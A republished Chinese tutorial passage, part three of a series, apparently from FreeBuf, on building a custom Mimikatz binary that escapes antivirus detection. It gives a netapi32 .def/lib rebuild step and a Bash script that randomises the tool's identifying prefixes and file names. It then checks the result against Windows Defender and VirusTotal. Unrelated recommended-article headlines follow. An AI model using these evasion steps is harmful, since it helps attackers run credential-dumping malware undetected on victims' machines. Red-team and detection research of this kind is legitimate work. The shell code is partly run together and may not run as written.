FreeBuf手把手教你构建自定义的Mimikatz二进制文件( 三 )
IBRARYnetapi32.dllEXPORTSI_NetServerAuthenticate2@ 59I_NetServerReqChallenge@ 65I_NetServerTrustPasswordsGet@ 62此时 , 我们可以使用下列命令在Visual Studio开发者终端中构建netapi32.min.lib文件:
lib/DEF:netapi32.def /OUT:netapi32.min.lib我们将该文件嵌入至lib\x64\目录 , 然后重新编译 。 再次运行DefenderCheck之后 , 将无法检测到任何内容:
本文插图
这也就意味着 , 我们已经绕过了Windows Defender的“实时保护”功能 。 但如果我们启用云保护功能 , 然后将该文件拷贝至其他位置 , 它还是会被检测到:
本文插图
替换更多的字符串当然了 , 我们还有很多需要替换的东西 。 首先 , 我们还要处理那些比较明显的字符串 。 Mimikatz菜单中包含对每个函数的介绍 。 比如说 , 子函数privilege就有下列描述信息:
本文插图
这里 , 我们可以将所有的描述以字符串的形式添加进我们的Bash脚本中来进行替换 。 但并非所有都需要 , 比如说下面这些:
answer- Answer to the Ultimate Question of Life, the Universe, and Everythingcoffee- Please, make me a coffee!
本文插图
很多反病毒厂商会将相关的功能性DLL文件加载行为也进行标记 , Mimikatz需要从.DLL文件中加载很多函数 , 为了在Mimikatz源代码中找到相关的DLL文件 , 我们需要打开Visual Studio , 按下STRG + SHIFT + F 。 此时将能够搜索整个项目 , 搜索.dll就可以查看到项目中所有使用到的DLL文件了 , 然后将它们添加到Bash脚本中进行名称替换即可 。
目录&文件结构整个项目的目录结构似乎也是反病毒产品检测的根据之一 , 这里所有可用的函数名称貌似都是以kuhl或KULL作为前缀来声明的:
本文插图
我们可以直接替换掉这些前缀:
kuhl=$(cat /dev/urandom |tr-dc"a-z"| fold -w4| head -n1)find windows/ -type f -print0| xargs -0sed -i"s/kuhl/$kuhl/g"kull=$(cat /dev/urandom |tr-dc"a-z"| fold -w4| head -n1)find windows/ -type f -print0| xargs -0sed -i"s/kull/$kull/g"find windows/ -type f -name"*kuhl*"|whilereadFILE ;donewfile="$(echo${FILE}|sed -e "s/kuhl/$kuhl/g")";donefind windows/ -type f -name"*kull*"|whilereadFILE ;donewfile="$(echo${FILE}|sed -e "s/kull/$kull/g")";doneunder=$(cat /dev/urandom |tr-dc"a-z"| fold -w4| head -n1)find windows/ -type f -print0| xargs -0sed -i"s/_m_/$under/g"find windows/ -type f -name"*_m_*"|whilereadFILE ;donewfile="$(echo${FILE}|sed -e "s/_m_/$under/g")";Bash脚本:
执行Bash脚本之后 , 编译并上传至Virustotal:
本文插图
推荐阅读
- Ac实在是太可爱了|Ac教你玩游戏-提前预览S11:ADC的前途一片光明!
- 上王者撩雨泽|爆料:教你领取李小龙皮肤动作!裴擒虎五周年限定皮肤第一次曝光
- 大众网|| 孔明和他的朋友们,教你识别非法金融广告,金融知识小课堂
- 电池技术择优,湖南优必诚电子科技有限公司教你选购优必诚电池技巧
- 美发|早上没时间扎头发?教你几招!
- |长途开车犯困喝红牛没用!教你几个小妙招,连开800公里不合眼
- 买车|为什么买车不要买白色?交警:教你一句顺口溜,照着买不会错!
- 疫病|“压力爆棚”不是小问题,当心引发身体疾病!华西心理专家教你4种办法减压
- 新华网|走进“大国粮仓” “黑科技”教你爱粮节粮
- |日系风凭什么让人喜欢?3个维度,直击穿搭本质,抽丝剥茧教你穿
